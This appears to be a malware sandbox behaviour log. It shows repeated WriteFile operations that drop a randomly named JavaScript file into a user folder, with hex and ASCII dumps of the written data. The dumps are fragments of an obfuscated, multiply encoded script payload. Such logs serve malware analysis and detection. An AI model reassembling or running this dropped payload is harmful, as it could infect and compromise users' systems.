67 30 4e 6c 78 34 4e 
44 4e 63 65 44 55 31 
58 48 67 7a 4e 56 78 
34 4e 7a 56 63 65 44 
4d 78 58 48 67 33 51 
56 78 34 4e 45 4e 63 
65 44 52 44 58 48 67 
33 4d 46 78 34 4d 7a 
6c 63 65 44 59 34 58 
48 67 31 4e 46 78 34 
4e 45 4e 63 65 44 63 
79 58 48 67 30 52 46 
78 34 4d 6b 4a 63 65 
44 55 30 58 48 67 33 
4e 6c 78 34 4d 7a 56 
63 65 44 4a 47 58 48 
67 33 4f 56 78 34 4d 
7a 5a 63 65 44 51 33 
58 48 67 33 4f 46 78 
34 4d 7a 4e 63 65 44 
52 42 58 48 67 32 4e 
46 78 34 4e 54 6c 63 
65 44 63 30 58 48 67 
33 4e 46 78 34 4e 6b 
4e 63 65 44 4d 34 58 
48 67 30 51 31 78 34 
4e 7a 46 63 65 44 63 
77 58 48 67 33 4f 56 
78 34 4d 

JceDUwXHg3Mlx4NUFce
DU4XHg1QVx4
MzhceDc1XHg2Qlx4MzFc
eDcwXHg0Nl
x4NDNceDU1XHgzNVx4N
zVceDMxXHg3
QVx4NENceDRDXHg3MF
x4MzlceDY4XH
g1NFx4NENceDcyXHg0R
Fx4MkJceDU0
XHg3Nlx4MzVceDJGXHg
3OVx4MzZceD
Q3XHg3OFx4MzNceDRB
XHg2NFx4NTlc
eDc0XHg3NFx4NkNceDM
4XHg0Q1x4Nz
FceDcwXHg3OVx4M

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 42 63 65 44 55 7a 58 
48 67 33 51 56 78 34 
4e 44 68 63 65 44 59 
34 58 48 67 32 4e 56 
78 34 4e 54 6d 63 65 
44 5a 45 58 48 67 30 
4f 46 78 34 4d 7a 4e 
63 65 44 5a 44 58 48 
67 31 4f 56 78 34 4e 
44 68 63 65 44 4a 47 
58 48 67 31 4d 31 78 
34 4d 7a 46 63 65 44 
59 30 58 48 67 33 4f 
46 78 34 4e 6b 46 63 
65 44 51 33 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 7a 4f 56 78 34 
4e 6a 4a 63 65 44 59 
33 58 48 67 32 51 56 
78 34 4e 44 6d 63 65 
44 4d 30 58 48 67 33 
4e 31 78 34 4e 54 52 
63 65 44 5a 44 58 48 
67 30 4d 6c 78 34 4e 
6a 6d 63 65 44 5a 44 
58 48 67 30 52 56 78 
34 4e 44 4a 63 65 44 
4d 32 58 48 67 7a 4d 
46 78 34 4d 7a 5a 63 
65 44 63 7a 58 48 67 
32 51 6c 78 34 4e 7a 
52 63 65 44 4d 33 58 
48 67 7a 4e 6c 78 34 
4e 6a 4a 63 65 44 52 
43 58 48 67 33 4d 31 
78 34 4d 

BceDUzXHg3QVx4NDhce
DY4XHg2NVx4
NTmceDZEXHg0OFx4Mz
NceDZDXHg1OV
x4NDhceDJGXHg1M1x4M
zFceDY0XHg3
OFx4NkFceDQ3XHgzRVx
4MjVceDQwXH
gzOVx4NjJceDY3XHg2QV
x4NDmceDM0
XHg3N1x4NTRceDZDXHg
0Mlx4NjmceD
ZDXHg0RVx4NDJceDM2X
HgzMFx4MzZc
eDczXHg2Qlx4NzRceDM3
XHgzNlx4Nj
JceDRCXHg3M1x4M

success or wait 6 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 4a 63 65 44 5a 43 58 
48 67 30 4e 6c 78 34 
4e 7a 46 63 65 44 51 
32 58 48 67 32 4d 56 
78 34 4e 54 46 63 65 
44 4a 47 58 48 67 33 
4e 46 78 34 4e 30 46 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 55 79 
58 48 67 7a 4f 46 78 
34 4e 6b 56 63 65 44 
4d 30 58 48 67 30 51 
6c 78 34 4d 7a 4a 63 
65 44 56 42 58 48 67 
32 51 31 78 34 4e 6b 
4e 63 65 44 51 34 58 
48 67 7a 4f 56 78 34 
4e 6a 5a 63 65 44 4d 
33 58 48 67 7a 4d 46 
78 34 4d 6b 4a 63 65 
44 63 79 58 48 67 32 
4e 6c 78 34 4e 6b 5a 
63 65 44 5a 42 58 48 
67 30 4e 46 78 34 4d 
7a 4e 63 65 44 51 35 
58 48 67 33 4d 46 78 
34 4d 7a 56 63 65 44 
63 79 58 48 67 31 51 
56 78 34 4d 7a 56 63 
65 44 59 33 58 48 67 
30 52 46 78 34 4e 55 
46 63 65 44 52 46 58 
48 67 7a 4e 56 78 34 
4e 44 68 63 65 44 52 
46 58 48 67 32 52 56 
78 34 4e 

JceDZCXHg0Nlx4NzFceD
Q2XHg2MVx4
NTFceDJGXHg3NFx4N0F
ceDNFXHgyNV
x4NDBceDUyXHgzOFx4N
kVceDM0XHg0
Qlx4MzJceDVBXHg2Q1x4
NkNceDQ4XH
gzOVx4NjZceDM3XHgzM
Fx4MkJceDcy
XHg2Nlx4NkZceDZBXHg0
NFx4MzNceD
Q5XHg3MFx4MzVceDcyX
Hg1QVx4MzVc
eDY3XHg0RFx4NUFceDR
FXHgzNVx4ND
hceDRFXHg2RVx4N

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 63 65 44 5a 43 58 
48 67 31 4f 46 78 34 
4e 6a 52 63 65 44 5a 
47 58 48 67 7a 4d 31 
78 34 4e 44 52 63 65 
44 4d 35 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 31 51 56 78 34 4e 
44 68 63 65 44 5a 43 
58 48 67 32 4d 6c 78 
34 4e 6a 4e 63 65 44 
55 30 58 48 67 30 4d 
6c 78 34 4d 7a 56 63 
65 44 52 46 58 48 67 
7a 4e 56 78 34 4e 44 
5a 63 65 44 52 46 58 
48 67 30 52 6c 78 34 
4e 6a 4a 63 65 44 52 
42 58 48 67 31 4d 6c 
78 34 4d 7a 4e 63 65 
44 63 78 58 48 67 33 
4d 56 78 34 4e 54 4a 
63 65 44 59 7a 58 48 
67 7a 4d 56 78 34 4e 
7a 46 63 65 44 55 79 
58 48 67 31 4d 6c 78 
34 4e 6b 46 63 65 44 
59 31 58 48 67 33 4d 
6c 78 34 4e 7a 42 63 
65 44 55 35 58 48 67 
33 4f 46 78 34 4e 44 
6d 63 65 44 63 77 58 
48 67 30 52 46 78 34 
4d 7a 52 63 65 44 63 
35 58 48 67 32 51 31 
78 34 4e 

NceDZCXHg1OFx4NjRce
DZGXHgzM1x4
NDRceDM5XHgzRVx4MjV
ceDQwXHg1QV
x4NDhceDZCXHg2Mlx4Nj
NceDU0XHg0
Mlx4MzVceDRFXHgzNVx
4NDZceDRFXH
g0Rlx4NjJceDRBXHg1Mlx
4MzNceDcx
XHg3MVx4NTJceDYzXHg
zMVx4NzFceD
UyXHg1Mlx4NkFceDY1X
Hg3Mlx4NzBc
eDU5XHg3OFx4NDmceDc
wXHg0RFx4Mz
RceDc5XHg2Q1x4N

success or wait 4 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 6c 63 65 44 63 34 58 
48 67 33 4d 56 78 34 
4e 7a 4a 63 65 44 59 
31 58 48 67 32 51 6c 
78 34 4e 45 5a 63 65 
44 55 32 58 48 67 30 
52 46 78 34 4e 44 52 
63 65 44 5a 44 58 48 
67 30 52 6c 78 34 4e 
45 4e 63 65 44 4d 31 
58 48 67 7a 4e 56 78 
34 4e 54 56 63 65 44 
5a 42 58 48 67 30 4f 
46 78 34 4d 7a 46 63 
65 44 4d 7a 58 48 67 
33 4e 6c 78 34 4e 44 
6d 63 65 44 63 79 58 
48 67 33 4f 56 78 34 
4e 6a 5a 63 65 44 59 
30 58 48 67 30 4f 46 
78 34 4e 7a 6c 63 65 
44 59 32 58 48 67 32 
52 56 78 34 4e 30 46 
63 65 44 52 42 58 48 
67 31 4d 6c 78 34 4e 
7a 4a 63 65 44 63 7a 
58 48 67 7a 4f 56 78 
34 4d 7a 42 63 65 44 
4d 35 58 48 67 32 4f 
46 78 34 4e 54 6d 63 
65 44 59 32 58 48 67 
32 4e 6c 78 34 4e 44 
4e 63 65 44 55 78 58 
48 67 30 52 56 78 34 
4d 7a 6d 63 65 44 4d 
78 58 48 67 33 4d 56 
78 34 4e 

lceDc4XHg3MVx4NzJceD
Y1XHg2Qlx4
NEZceDU2XHg0RFx4NDR
ceDZDXHg0Rl
x4NENceDM1XHgzNVx4N
TVceDZBXHg0
OFx4MzFceDMzXHg3Nlx4
NDmceDcyXH
g3OVx4NjZceDY0XHg0OF
x4NzlceDY2
XHg2RVx4N0FceDRBXHg
1Mlx4NzJceD
czXHgzOVx4MzBceDM5X
Hg2OFx4NTmc
eDY2XHg2Nlx4NDNceDUx
XHg0RVx4Mz
mceDMxXHg3MVx4N

success or wait 4 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 52 63 65 44 51 33 58 
48 67 32 51 56 78 34 
4e 7a 6d 63 65 44 63 
78 58 48 67 32 51 31 
78 34 4d 7a 68 63 65 
44 59 34 58 48 67 7a 
4e 6c 78 34 4d 7a 4a 
63 65 44 63 7a 58 48 
67 32 52 6c 78 34 4e 
7a 4e 63 65 44 4d 35 
58 48 67 30 51 31 78 
34 4e 6a 5a 63 65 44 
4d 34 58 48 67 31 4e 
6c 78 34 4e 45 46 63 
65 44 51 34 58 48 67 
7a 4f 46 78 34 4e 44 
52 63 65 44 5a 44 58 
48 67 32 52 46 78 34 
4e 7a 42 63 65 44 5a 
42 58 48 67 30 4f 46 
78 34 4e 45 4e 63 65 
44 63 32 58 48 67 31 
4e 56 78 34 4e 44 56 
63 65 44 4d 33 58 48 
67 32 4e 56 78 34 4e 
44 5a 63 65 44 55 33 
58 48 67 33 4d 46 78 
34 4e 55 46 63 65 44 
4d 7a 58 48 67 30 51 
31 78 34 4e 44 6c 63 
65 44 63 32 58 48 67 
7a 4e 56 78 34 4e 54 
5a 63 65 44 63 31 58 
48 67 31 4e 31 78 34 
4e 54 5a 63 65 44 4d 
79 58 48 67 33 4e 46 
78 34 4e 

RceDQ3XHg2QVx4Nzmce
DcxXHg2Q1x4
MzhceDY4XHgzNlx4MzJc
eDczXHg2Rl
x4NzNceDM5XHg0Q1x4Nj
ZceDM4XHg1
Nlx4NEFceDQ4XHgzOFx4
NDRceDZDXH
g2RFx4NzBceDZBXHg0O
Fx4NENceDc2
XHg1NVx4NDVceDM3XH
g2NVx4NDZceD
U3XHg3MFx4NUFceDMz
XHg0Q1x4NDlc
eDc2XHgzNVx4NTZceDc1
XHg1N1x4NT
ZceDMyXHg3NFx4N

success or wait 4 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 46 63 65 44 4d 35 58 
48 67 30 52 56 78 34 
4d 7a 6d 63 65 44 63 
32 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 31 
4e 6c 78 34 4e 44 4a 
63 65 44 52 44 58 48 
67 30 4d 6c 78 34 4e 
7a 6d 63 65 44 59 34 
58 48 67 33 4e 46 78 
34 4e 6a 6c 63 65 44 
63 7a 58 48 67 32 52 
46 78 34 4e 44 56 63 
65 44 59 33 58 48 67 
31 4d 56 78 34 4d 7a 
42 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 52 45 58 48 67 32 
51 6c 78 34 4e 55 46 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
51 79 58 48 67 31 4d 
56 78 34 4e 54 4e 63 
65 44 63 33 58 48 67 
30 52 46 78 34 4e 44 
56 63 65 44 51 32 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 7a 52 56 
78 34 4d 

FceDM5XHg0RVx4Mzmce
Dc2XHgzRVx4
MjVceDQwXHg1Nlx4NDJc
eDRDXHg0Ml
x4NzmceDY4XHg3NFx4Nj
lceDczXHg2
RFx4NDVceDY3XHg1MVx
4MzBceDNFXH
gyNVx4NDBceDNFXHgyN
Vx4NDBceDRE
XHg2Qlx4NUFceDNFXHg
yNVx4NDBceD
NFXHgyNVx4NDBceDQy
XHg1MVx4NTNc
eDc3XHg0RFx4NDVceDQ
2XHgzRVx4Mj
VceDQwXHgzRVx4M

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 56 63 65 44 59 32 58 
48 67 31 4e 46 78 34 
4e 6b 4e 63 65 44 5a 
44 58 48 67 31 51 56 
78 34 4e 44 6c 63 65 
44 51 34 58 48 67 31 
4d 6c 78 34 4e 44 6c 
63 65 44 51 33 58 48 
67 32 4e 6c 78 34 4e 
44 4e 63 65 44 4d 34 
58 48 67 31 4e 46 78 
34 4e 6b 46 63 65 44 
59 7a 58 48 67 32 4d 
56 78 34 4e 44 5a 63 
65 44 51 30 58 48 67 
79 51 6c 78 34 4e 44 
4a 63 65 44 51 30 58 
48 67 30 4e 31 78 34 
4e 6a 4e 63 65 44 4d 
35 58 48 67 30 4e 56 
78 34 4e 6b 5a 63 65 
44 59 35 58 48 67 32 
4d 56 78 34 4e 6a 56 
63 65 44 4d 31 58 48 
67 30 4e 6c 78 34 4e 
30 46 63 65 44 63 35 
58 48 67 32 52 56 78 
34 4e 54 52 63 65 44 
4a 47 58 48 67 32 52 
56 78 34 4d 7a 68 63 
65 44 63 32 58 48 67 
30 4f 46 78 34 4d 7a 
56 63 65 44 4d 35 58 
48 67 32 4e 31 78 34 
4d 7a 5a 63 65 44 59 
7a 58 48 67 30 52 46 
78 34 4e 

VceDY2XHg1NFx4NkNce
DZDXHg1QVx4
NDlceDQ4XHg1Mlx4NDlce
DQ3XHg2Nl
x4NDNceDM4XHg1NFx4N
kFceDYzXHg2
MVx4NDZceDQ0XHgyQlx
4NDJceDQ0XH
g0N1x4NjNceDM5XHg0NV
x4NkZceDY5
XHg2MVx4NjVceDM1XHg
0Nlx4N0FceD
c5XHg2RVx4NTRceDJGX
Hg2RVx4Mzhc
eDc2XHg0OFx4MzVceDM
5XHg2N1x4Mz
ZceDYzXHg0RFx4N

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 42 63 65 44 55 35 58 
48 67 7a 4d 6c 78 34 
4e 44 5a 63 65 44 63 
35 58 48 67 31 4e 46 
78 34 4e 44 6d 63 65 
44 51 32 58 48 67 33 
4e 46 78 34 4e 54 6c 
63 65 44 5a 45 58 48 
67 7a 4f 46 78 34 4e 
7a 5a 63 65 44 59 7a 
58 48 67 7a 4d 6c 78 
34 4e 6a 52 63 65 44 
6d 42 58 48 67 31 51 
56 78 34 4d 7a 4a 63 
65 44 59 34 58 48 67 
33 51 56 78 34 4e 6a 
46 63 65 44 51 33 58 
48 67 31 4d 6c 78 34 
4e 6b 56 63 65 44 52 
44 58 48 67 32 52 46 
78 34 4e 45 56 63 65 
44 63 7a 58 48 67 31 
4f 56 78 34 4e 54 68 
63 65 44 52 46 58 48 
67 33 51 56 78 34 4e 
7a 5a 63 65 44 55 32 
58 48 67 31 4f 46 78 
34 4e 6a 5a 63 65 44 
55 31 58 48 67 33 4f 
46 78 34 4e 7a 52 63 
65 44 55 32 58 48 67 
30 4e 6c 78 34 4e 54 
42 63 65 44 4d 30 58 
48 67 7a 4d 6c 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4e 

BceDU5XHgzMlx4NDZce
Dc5XHg1NFx4
NDmceDQ2XHg3NFx4NTl
ceDZEXHgzOF
x4NzZceDYzXHgzMlx4Nj
RceDmBXHg1
QVx4MzJceDY4XHg3QVx
4NjFceDQ3XH
g1Mlx4NkVceDRDXHg2R
Fx4NEVceDcz
XHg1OVx4NThceDRFXHg
3QVx4NzZceD
U2XHg1OFx4NjZceDU1X
Hg3OFx4NzRc
eDU2XHg0Nlx4NTBceDM
0XHgzMlx4M0
VceDI1XHg0MFx4N

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 5a 63 65 44 63 33 58 
48 67 7a 4d 56 78 34 
4e 44 6d 63 65 44 56 
42 58 48 67 7a 4e 6c 
78 34 4e 45 52 63 65 
44 63 78 58 48 67 32 
52 6c 78 34 4e 7a 68 
63 65 44 4d 78 58 48 
67 30 4e 31 78 34 4e 
54 5a 63 65 44 4a 47 
58 48 67 7a 4d 6c 78 
34 4e 44 6c 63 65 44 
5a 47 58 48 67 32 52 
6c 78 34 4d 7a 42 63 
65 44 63 33 58 48 67 
79 51 6c 78 34 4e 7a 
4e 63 65 44 52 45 58 
48 67 32 4d 6c 78 34 
4e 30 46 63 65 44 51 
7a 58 48 67 7a 4f 46 
78 34 4e 7a 68 63 65 
44 4d 7a 58 48 67 30 
4d 31 78 34 4e 44 5a 
63 65 44 4d 30 58 48 
67 31 4d 31 78 34 4e 
7a 4a 63 65 44 51 30 
58 48 67 30 4d 6c 78 
34 4d 7a 6d 63 65 44 
4d 78 58 48 67 7a 4e 
46 78 34 4e 44 4a 63 
65 44 63 77 58 48 67 
32 4d 31 78 34 4e 54 
56 63 65 44 55 7a 58 
48 67 30 4d 6c 78 34 
4e 6a 68 63 65 44 55 
30 58 48 67 30 4e 56 
78 34 4e 

ZceDc3XHgzMVx4NDmce
DVBXHgzNlx4
NERceDcxXHg2Rlx4Nzhc
eDMxXHg0N1
x4NTZceDJGXHgzMlx4N
DlceDZGXHg2
Rlx4MzBceDc3XHgyQlx4
NzNceDREXH
g2Mlx4N0FceDQzXHgzOF
x4NzhceDMz
XHg0M1x4NDZceDM0XHg
1M1x4NzJceD
Q0XHg0Mlx4MzmceDMxX
HgzNFx4NDJc
eDcwXHg2M1x4NTVceDU
zXHg0Mlx4Nj
hceDU0XHg0NVx4N

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 42 63 65 44 51 32 58 
48 67 31 4e 46 78 34 
4e 54 6d 63 65 44 52 
47 58 48 67 33 4d 31 
78 34 4e 6b 5a 63 65 
44 51 34 58 48 67 31 
4d 46 78 34 4e 54 5a 
63 65 44 51 33 58 48 
67 33 51 56 78 34 4e 
7a 6c 63 65 44 4d 7a 
58 48 67 32 52 56 78 
34 4e 7a 56 63 65 44 
4d 34 58 48 67 7a 4f 
56 78 34 4e 7a 6c 63 
65 44 63 32 58 48 67 
30 52 46 78 34 4e 54 
4e 63 65 44 51 35 58 
48 67 32 4e 31 78 34 
4e 6b 52 63 65 44 55 
79 58 48 67 7a 4d 31 
78 34 4e 45 52 63 65 
44 55 7a 58 48 67 31 
4e 46 78 34 4e 6a 6c 
63 65 44 55 32 58 48 
67 30 4f 46 78 34 4d 
7a 68 63 65 44 4d 32 
58 48 67 33 4e 6c 78 
34 4d 7a 5a 63 65 44 
59 34 58 48 67 33 4d 
46 78 34 4d 7a 5a 63 
65 44 63 31 58 48 67 
31 4e 6c 78 34 4e 45 
56 63 65 44 52 45 58 
48 67 7a 4e 56 78 34 
4e 6a 4a 63 65 44 4d 
33 58 48 67 7a 4d 46 
78 34 4e 

BceDQ2XHg1NFx4NTmce
DRGXHg3M1x4
NkZceDQ4XHg1MFx4NTZ
ceDQ3XHg3QV
x4NzlceDMzXHg2RVx4Nz
VceDM4XHgz
OVx4NzlceDc2XHg0RFx4
NTNceDQ5XH
g2N1x4NkRceDUyXHgzM
1x4NERceDUz
XHg1NFx4NjlceDU2XHg0
OFx4MzhceD
M2XHg3Nlx4MzZceDY4X
Hg3MFx4MzZc
eDc1XHg1Nlx4NEVceDRE
XHgzNVx4Nj
JceDM3XHgzMFx4N

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 56 63 65 44 51 32 58 
48 67 7a 4f 46 78 34 
4e 54 68 63 65 44 59 
78 58 48 67 33 4d 31 
78 34 4e 45 56 63 65 
44 63 34 58 48 67 30 
52 46 78 34 4d 6b 4a 
63 65 44 4d 30 58 48 
67 32 51 6c 78 34 4e 
7a 52 63 65 44 6d 42 
58 48 67 30 4d 31 78 
34 4d 7a 4e 63 65 44 
51 34 58 48 67 33 4d 
6c 78 34 4d 7a 4a 63 
65 44 4d 30 58 48 67 
32 4e 56 78 34 4d 7a 
4e 63 65 44 5a 43 58 
48 67 30 52 56 78 34 
4e 45 5a 63 65 44 52 
44 58 48 67 32 51 31 
78 34 4d 7a 4e 63 65 
44 55 77 58 48 67 7a 
4e 56 78 34 4e 54 52 
63 65 44 59 35 58 48 
67 7a 4f 56 78 34 4e 
44 52 63 65 44 55 35 
58 48 67 79 51 6c 78 
34 4d 7a 52 63 65 44 
4d 33 58 48 67 33 4e 
56 78 34 4e 54 4a 63 
65 44 55 7a 58 48 67 
32 51 31 78 34 4e 6b 
52 63 65 44 4d 7a 58 
48 67 31 4d 46 78 34 
4e 6a 56 63 65 44 52 
45 58 48 67 31 4e 31 
78 34 4e 

VceDQ2XHgzOFx4NThce
DYxXHg3M1x4
NEVceDc4XHg0RFx4MkJ
ceDM0XHg2Ql
x4NzRceDmBXHg0M1x4
MzNceDQ4XHg3
Mlx4MzJceDM0XHg2NVx
4MzNceDZCXH
g0RVx4NEZceDRDXHg2Q
1x4MzNceDUw
XHgzNVx4NTRceDY5XHg
zOVx4NDRceD
U5XHgyQlx4MzRceDM3X
Hg3NVx4NTJc
eDUzXHg2Q1x4NkRceDM
zXHg1MFx4Nj
VceDREXHg1N1x4N

success or wait 4 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 52 63 65 44 52 42 58 
48 67 7a 4d 56 78 34 
4e 45 4e 63 65 44 63 
32 58 48 67 33 4d 6c 
78 34 4d 7a 5a 63 65 
44 63 35 58 48 67 31 
4f 56 78 34 4e 7a 52 
63 65 44 63 33 58 48 
67 30 51 6c 78 34 4e 
7a 6d 63 65 44 59 33 
58 48 67 33 4e 46 78 
34 4e 6a 52 63 65 44 
56 42 58 48 67 30 51 
31 78 34 4e 54 46 63 
65 44 51 32 58 48 67 
32 4f 46 78 34 4e 7a 
4a 63 65 44 5a 42 58 
48 67 32 4d 31 78 34 
4e 6b 52 63 65 44 52 
46 58 48 67 30 52 46 
78 34 4e 44 52 63 65 
44 55 7a 58 48 67 30 
51 6c 78 34 4d 7a 42 
63 65 44 52 43 58 48 
67 7a 4e 6c 78 34 4e 
44 6d 63 65 44 55 32 
58 48 67 33 4d 56 78 
34 4e 6a 5a 63 65 44 
51 32 58 48 67 31 4d 
6c 78 34 4e 6a 4a 63 
65 44 63 35 58 48 67 
30 51 6c 78 34 4e 6a 
4e 63 65 44 5a 47 58 
48 67 7a 4f 56 78 34 
4e 44 56 63 65 44 63 
33 58 48 67 33 4f 46 
78 34 4e 

RceDRBXHgzMVx4NENc
eDc2XHg3Mlx4
MzZceDc5XHg1OVx4NzR
ceDc3XHg0Ql
x4NzmceDY3XHg3NFx4Nj
RceDVBXHg0
Q1x4NTFceDQ2XHg2OFx
4NzJceDZBXH
g2M1x4NkRceDRFXHg0R
Fx4NDRceDUz
XHg0Qlx4MzBceDRCXHg
zNlx4NDmceD
U2XHg3MVx4NjZceDQ2X
Hg1Mlx4NjJc
eDc5XHg0Qlx4NjNceDZG
XHgzOVx4ND
VceDc3XHg3OFx4N

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 63 65 44 6d 42 58 
48 67 7a 4f 56 78 34 
4e 7a 68 63 65 44 55 
31 58 48 67 32 51 56 
78 34 4e 30 46 63 65 
44 52 45 58 48 67 33 
4e 46 78 34 4d 7a 4a 
63 65 44 59 33 58 48 
67 32 4f 56 78 34 4d 
7a 6d 63 65 44 55 30 
58 48 67 30 4e 6c 78 
34 4e 54 4e 63 65 44 
52 46 58 48 67 33 4e 
6c 78 34 4e 45 56 63 
65 44 59 34 58 48 67 
33 4d 6c 78 34 4e 6a 
4a 63 65 44 63 32 58 
48 67 30 4e 31 78 34 
4d 7a 6c 63 65 44 63 
78 58 48 67 30 4e 56 
78 34 4e 45 56 63 65 
44 63 32 58 48 67 32 
51 31 78 34 4e 54 42 
63 65 44 59 30 58 48 
67 32 4e 6c 78 34 4e 
44 68 63 65 44 5a 42 
58 48 67 7a 4d 56 78 
34 4e 45 52 63 65 44 
55 34 58 48 67 32 4d 
6c 78 34 4d 7a 46 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 4d 77 58 
48 67 7a 4d 56 78 34 
4d 7a 46 63 65 44 55 
78 58 48 67 7a 4d 46 
78 34 4d 

NceDmBXHgzOVx4Nzhce
DU1XHg2QVx4
N0FceDREXHg3NFx4MzJ
ceDY3XHg2OV
x4MzmceDU0XHg0Nlx4N
TNceDRFXHg3
Nlx4NEVceDY4XHg3Mlx4
NjJceDc2XH
g0N1x4MzlceDcxXHg0NV
x4NEVceDc2
XHg2Q1x4NTBceDY0XHg
2Nlx4NDhceD
ZBXHgzMVx4NERceDU4
XHg2Mlx4MzFc
eDNFXHgyNVx4NDBceD
MwXHgzMVx4Mz
FceDUxXHgzMFx4M

success or wait 5 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
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C:\Users\user\fukvowbkrs.js unknown 1024 4e 63 65 44 4d 32 58 
48 67 33 4d 46 78 34 
4e 45 46 63 65 44 63 
32 58 48 67 32 4d 56 
78 34 4e 44 5a 63 65 
44 63 31 58 48 67 32 
51 31 78 34 4e 44 68 
63 65 44 4d 79 58 48 
67 33 4e 6c 78 34 4e 
54 6d 63 65 44 63 30 
58 48 67 33 4d 56 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4e 54 5a 63 
65 44 55 31 58 48 67 
33 4d 31 78 34 4e 54 
56 63 65 44 63 34 58 
48 67 33 4d 6c 78 34 
4e 54 52 63 65 44 59 
35 58 48 67 31 4e 31 
78 34 4e 6b 5a 63 65 
44 63 32 58 48 67 7a 
4f 46 78 34 4e 6a 52 
63 65 44 51 30 58 48 
67 30 52 6c 78 34 4e 
7a 68 63 65 44 63 33 
58 48 67 33 4f 46 78 
34 4e 44 6c 63 65 44 
63 7a 58 48 67 7a 4e 
31 78 34 4e 6b 56 63 
65 44 52 43 58 48 67 
32 51 31 78 34 4e 54 
68 63 65 44 59 30 58 
48 67 33 4e 6c 78 34 
4e 6a 6d 63 65 44 4d 
34 58 48 67 7a 4f 46 
78 34 4e 

NceDM2XHg3MFx4NEFce
Dc2XHg2MVx4
NDZceDc1XHg2Q1x4NDh
ceDMyXHg3Nl
x4NTmceDc0XHg3MVx4M
0VceDI1XHg0
MFx4NTZceDU1XHg3M1x
4NTVceDc4XH
g3Mlx4NTRceDY5XHg1N1
x4NkZceDc2
XHgzOFx4NjRceDQ0XHg
0Rlx4NzhceD
c3XHg3OFx4NDlceDczXH
gzN1x4NkVc
eDRCXHg2Q1x4NThceDY
0XHg3Nlx4Nj
mceDM4XHgzOFx4N

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 56 63 65 44 51 77 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 31 4e 31 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4d 30 
56 63 65 44 49 31 58 
48 67 30 4d 46 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4e 54 6c 63 65 
44 4d 79 58 48 67 30 
4e 6c 78 34 4e 7a 6c 
63 65 44 55 30 58 48 
67 30 4e 31 78 34 4e 
44 5a 63 65 44 63 30 
58 48 67 31 4f 56 78 
34 4e 6b 52 63 65 44 
4d 34 58 48 67 33 4e 
6c 78 34 4e 55 46 63 
65 44 51 33 58 48 67 
32 4f 46 78 34 4e 6b 
56 63 65 44 56 42 58 
48 67 30 4e 31 78 34 
4e 6a 52 63 65 44 5a 
47 58 48 67 31 51 56 
78 34 4e 

VceDQwXHgzRVx4MjVce
DQwXHgzRVx4
MjVceDQwXHgzRVx4MjV
ceDQwXHgzRV
x4MjVceDQwXHg1N1x4M
0VceDI1XHg0
MFx4M0VceDI1XHg0MFx
4M0VceDI1XH
g0MFx4M0VceDI1XHg0M
Fx4NTlceDMy
XHg0Nlx4NzlceDU0XHg0
N1x4NDZceD
c0XHg1OVx4NkRceDM4X
Hg3Nlx4NUFc
eDQ3XHg2OFx4NkVceDV
BXHg0N1x4Nj
RceDZGXHg1QVx4N

success or wait 7 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
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C:\Users\user\fukvowbkrs.js unknown 1024 52 63 65 44 55 31 58 
48 67 7a 4e 31 78 34 
4e 45 5a 63 65 44 59 
31 58 48 67 32 52 46 
78 34 4e 54 42 63 65 
44 63 30 58 48 67 7a 
4f 46 78 34 4e 6b 4e 
63 65 44 55 32 58 48 
67 31 4e 31 78 34 4e 
7a 56 63 65 44 59 7a 
58 48 67 32 51 6c 78 
34 4e 54 5a 63 65 44 
55 32 58 48 67 31 4e 
31 78 34 4e 44 68 63 
65 44 59 30 58 48 67 
32 4e 56 78 34 4e 7a 
5a 63 65 44 4d 33 58 
48 67 31 4d 56 78 34 
4e 7a 56 63 65 44 51 
32 58 48 67 32 52 56 
78 34 4d 7a 5a 63 65 
44 63 34 58 48 67 33 
4e 56 78 34 4e 54 5a 
63 65 44 55 78 58 48 
67 7a 4d 46 78 34 4e 
7a 4a 63 65 44 5a 44 
58 48 67 31 51 56 78 
34 4d 7a 4a 63 65 44 
